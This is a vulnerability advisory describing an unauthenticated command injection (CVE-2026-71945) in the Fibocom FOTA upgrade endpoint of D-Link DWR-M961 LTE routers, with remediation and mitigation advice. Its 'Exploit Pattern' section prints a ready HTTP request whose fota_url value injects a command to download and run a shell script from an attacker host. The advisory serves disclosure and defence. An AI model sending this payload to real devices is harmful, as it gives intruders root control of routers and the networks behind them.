D-Link DWR-M961 Command Injection via FOTA Upgrade Interface (Fibocom)

Executive Summary

A command injection vulnerability has been identified in D-Link DWR-M961 LTE routers running hardware version C1 with firmware prior to 1.1.5_C1_202607071108. The flaw resides in the /boafrm/formLtefotaUpgradeFibocom interface and allows a remote attacker to inject arbitrary OS commands through the fota_url parameter, achieving unauthenticated remote code execution on the device.

CVE ID: CVE-2026-71945

This vulnerability is closely related to CVE-2026-71944, which affects the parallel Quectel FOTA interface on the same device. Both were patched in the same firmware update.

Vulnerability Overview

The D-Link DWR-M961 supports multiple LTE modem chipsets, including modules from both Quectel and Fibocom. The formLtefotaUpgradeFibocom endpoint handles firmware-over-the-air (FOTA) update requests for Fibocom modem modules. Like its Quectel counterpart, this handler fails to sanitize the fota_url parameter before passing it to an OS command, enabling shell command injection.

Technical Details

Root Cause

The DWR-M961's BoA-based management server exposes separate FOTA upgrade endpoints for each supported modem chipset family. The Fibocom upgrade handler (formLtefotaUpgradeFibocom) accepts a fota_url field specifying the remote firmware image location. This value is passed directly to an OS-level shell command without sanitization, allowing shell metacharacter injection.

The vulnerability mirrors CVE-2026-71944 in attack pattern and impact — both interfaces share the same underlying insecure coding pattern, suggesting the vulnerability was introduced during code reuse across modem chipset handlers.

Exploit Pattern

POST /boafrm/formLtefotaUpgradeFibocom HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
fota_url=http://example.com/fw.bin;wget http://attacker.com/shell.sh -O /tmp/s;sh /tmp/s;

Successful exploitation results in OS command execution with the privileges of the BoA process — typically root on embedded Linux platforms.

Affected Products

Related CVEs in the Same Device

Four command injection vulnerabilities were discovered and patched simultaneously across the DWR-M961's management interfaces:

The parallel nature of CVE-2026-71944 and CVE-2026-71945 highlights a systemic code reuse issue: the same insecure fota_url handling was duplicated across modem chipset-specific handlers without independent security review.

Remediation

Immediate Action

Update firmware to version 1.1.5_C1_202607071108 or later.

1. Access the device's web administration panel
2. Navigate to Maintenance → Firmware Update
3. Apply the latest available firmware update
4. Verify firmware version post-update

Mitigations If Patching Is Delayed

• Disable remote (WAN-side) administration — Most exploits require access to the management interface
• Implement ACLs restricting management access to trusted IP ranges
• Network segmentation — Place the router's management interface on an isolated management VLAN
• Monitor outbound traffic for unexpected connections from the router's IP address

Security Implications

Exploitation of this vulnerability provides an attacker with a persistent, privileged foothold on the network edge device. From this position, an attacker can:

• Intercept and modify network traffic passing through the device
• Hijack DNS responses to redirect users to phishing or malware infrastructure
• Establish a persistent backdoor via modified firmware, cron jobs, or init scripts
• Conduct reconnaissance of all devices on the connected LAN
• Deploy DDoS bots — LTE routers are a high-value target for botnet operators due to their always-on nature and residential/mobile IP ranges

References

• NVD — CVE-2026-71945
• NVD — CVE-2026-71944 (Related — Quectel Interface)
• D-Link Support — DWR-M961 Firmware Downloads